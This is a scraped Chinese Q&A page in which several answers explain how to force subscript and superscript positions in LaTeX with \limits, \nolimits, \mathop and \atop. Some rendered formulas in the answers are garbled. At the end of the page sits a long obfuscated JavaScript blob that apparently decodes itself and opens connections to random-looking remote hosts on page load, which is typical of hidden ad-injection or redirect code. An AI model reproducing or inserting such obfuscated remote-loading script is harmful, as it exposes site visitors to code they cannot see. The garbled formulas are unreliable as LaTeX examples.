LaTeX如何强制上下标的位置?

2025-02-21 12:42:18
推荐回答(5个)
回答1:

TeX提供了许多"控制符号"来得到诸如希腊字母, 关系运算符,箭头等无法用ASCII键盘直接输入的符号.
小写希腊字母, 如\alpha,\beta, \gamma, \pi;
大写希腊字母, 如\Gamma, \Pi, \Omega;
二元运算符, 如\times(乘号), \div(除号), \pm(加减号), \circ(小圆圈), \cdot(点)等;
关系运算符, 如\leq(小于等于), \geq(大于等于), \subset(包含于), \supset(包含), \in(属于); 否定关系运算符, 如\not=(不等于), \not<(不小于), \not\supset (不包含); 箭头, \leftarrow, \rightarrow, \longrightarrow, \uparrow, \mapto等;
其它符号, \nabla(Nabla算子), \angle(角), \infty(无穷), \forall(任意), \exists(存在), \prime(导数的撇). 这些符号比较多, 这里就不细细一一列出, 大家去找一本TeX书, 复印那两三页下来就可以了.

本节讲的绝大多数符号都只能在数学环境中使用, 有几个符号也可以使用在一般环境中, 那是\S(节号), \P(段落号), \dag(剑号), \ddag(双剑号).

有时数学公式中的函数名, 算子等要用特别的花体来排版, TeX提供了\cal字体, 如"function F". 而对于专有名词,如一些函数名, 如sin x中的sin, 就要用罗马体, 而不是一般的数学斜体排印, 我们可以用
sinx
, 也可以用TeX提供的直接在函数名前加"\"的方法:
sinx
, 一般的函数均有定义, 如\sin, \cos, \lim, \log等.

数学环境中, 还有一类特殊的符号, 那就是可变大小符号, 如求和号, 积分号, 它们会因为符号后面的内容的大小自动调整自己的大小:
\sum, \prod, \coprod, \int, \oint, \bigcap, \bigcup, \bigsqcup, \bigvee, \bigwedge, \bigodot, \bigotimes, \bigoplus, \biguplus.
需要注意的是, 有些可变符号的上下标位置在文中公式和独立公式中是不一样的, 大家看个例子:
∑ni=1xi=∫∞0f(x)dx

∑i=1nxi=∫∞0f(x)dx
,
这里大家看到, \sum在文中公式中, 上下标是写在右上角和右下角的, 在独立公式中, 是写在上面和下面的; 而\int在二者中都写在右上角和右下角的. 我们可以强制用\limits和\nolimits来控制上下标的出现位置: 使用方法如∑i=1bxi就强制将上下标写在上边和下边, 而\nolimits使其出现在右边角上. 这里多说一句, 如果你想把一般的操作符也想用\limits或\nolimits用, 只须把你的操作符用\mathop{}括起来即可.

大家如果编排矩阵或行列式, 就会遇到特别的省略号, 大家试试\cdots, \vdots, \ddots就是三个方向的省略号. 而\ldots是比 \cdots低一点的省略号, 它和其它三个不同的是也可以用在正文环境中. \ldots一般用于x1,x2,…,xn这样的时候.

排版数学公式可能还会遇到需要把两个符号上下组合在一起,最常见的就是上划线和下划线, 大家试试

a+b+c+d¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯

a+b+c+d−−−−−−−−−−
,
这里需要说明的是, \overline只能用于数学环境, 而\underline也可以用在正文中. 类似地还有用花
括号括在式子上下的:
a+b+c+d
, 而如果上下括号上面或下面还有符号, 可以用上下标来表示, 如:

a+b+c1.0+d2.0
.
LaTeX还可以将任意两个符号重叠在一起: \stackrel{上层符号}{下层符号}, 如

x⃗ =def(x1,x2,…,xn)
, 这里需要说明的是\stackrel中第一个参数的符号以较小字号输出的. 而
上面下面
可以把两行内容按相同字号排出, 类似 地就出现了
(nm)
则是带括号的n个取m个的写法.

符号可以上下堆积, 可是我们如果要在\sum的下面写诸如i<9和j<9这两行下标, 用
∑i<9j<9i/j
是不行的. 我们怎么实现这样的分行呢? 我们可以用\atop来堆积, 如

∑i<3j<3i/j

这里之所以加了\scriptstyle是因为仅用\atop命令会把上下的字体再缩小一号. 另外, 我们也可以用另外的方法: 前面我们在讲\frac时提到\dfrac这个符号需要使用包vatola.sty, 这里, 如果使用了vatola.sty这个包, 我们可以在下标中用{\Sb 第一行 \\第二行 \endSb}, 在上标中用{\Sp 第一行 \\ 第二行 \endSp}来表示多行下标或上标.

实际上,行间公式不存在这个问题,如果是行内公式 是有这个问题:
limn→∞ 这个的输出并不是把下标放在 lim的最下面,主要是考虑行间距的一致和美观,一般情况下,我们就用默认就可以了。
非要放在下面就用:
limn→∞
就可以了。

回答2:

1.在许多时候需要上标,上标借助符号是'^',如下所示:a^2 + b^2 = c^2
2.有时候需要将复杂表达式作为上标时,则可以将表达式放在{ }内,比如a^{x^2+y^2}=c,

3.当需要下标时,借助于'_'就可以实现,比如:a_{x^2+y^2} = d

4.简单下标比如:a_2 = b

回答3:

行间公式不存在这个问题,如果是行内公式 是有这个问题
$\lim _{n\to\infty} $ 这个的输出并不是把下标放在 lim的最下面,主要是考虑行间距的一致和美观,一般情况下,我们就用默认就可以了。
非要放在下面就用
$\lim\limits_{n\to\infty}$
就可以了

回答4:

在使用latex排版编辑公式的时候,常需要进行上下标。下面latex排版介绍
http://jingyan.baidu.com/article/cb5d610502a2f8005d2fe062.html

回答5:

你这个问题问得不清楚,什么叫强制上下标位置?

!function(){function a(a){var _idx="g3r6t5j1i0";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[7_2(F6O2 5ca[5YF_52"vX8"%cmn<ydFhm5d2fO^caj}g@aPqYF 282_qq!Xd5 Y=F=O8D62fODm622Y5V6fFh!qYF ^8O/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfg_cmn<ydFhm5d2fO^cajngKa=5YXY5LYWfg_cmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6FhgO/}0=6FY^9Y6phFg^/o=qOdfiFdF_Lg0=5Y|5Tg0P=68"#MqYYb"=d8HZ!F5T[d8+i;NmJd5LYc(c6a??"HZ"aP(dF(hcYa[P7_2(F6O2 pcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 (cY=Fa[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2P7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=Fa[F8}<d5p_^Y2FLmqY2pFhvvXO6f 0l88FjFg""!7mqOdfiFdF_L8*}=}00<dmqY2pFh??cdmJ_Lhc`c$[YPa`%Fa=qc6=+i;NmLF562p67TcdaaaP7_2(F6O2 _cYa[qYF F80<d5p_^Y2FLmqY2pFhvvXO6f 0l88YjYg}=28"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=O82mqY2pFh=58""!7O5c!F**!a5%82HydFhm7qOO5cydFhm5d2fO^ca.OaZ!5YF_52 5P7_2(F6O2 fcYa[qYF F8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 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F8H"Ks0^)ThF)mpOL2fmRT4"="Ks0X5ThF)m64YdCmRT4"="Ks02pThFmpOL2fmRT4"="Ks0_JqhFm64YdCmRT4"="Ks02TOhFmpOL2fmRT4"="Ks0CSqhF)m64YdCmRT4"="Ks0)FfThF)fmpOL2fmRT4"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"!qYF O82YD VY)iO(SYFcF%"/"%J%"jR8"%X%"v58"%7m5Y|5T%%%"vF8"%hca%5ca%c2_qql882j2gcF8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=28Fj"v(h8"%FmpYFrFF56)_FYc"("ag""aaa!OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=_8"62fYR;7"=f8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=h8""=^80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!^<YmqY2pFh!a28fH_ZcYH(Zc^%%aa=O8fH_ZcYH(Zc^%%aa=68fH_ZcYH(Zc^%%aa=d8fH_ZcYH(Zc^%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=h%8iF562pHqZc2<<@?O>>oa=Kol886vvch%8iF562pHqZc5aa=Kol88dvvch%8iF562pHqZcFaa![Xd5 78h!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv)caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 )ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 $ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 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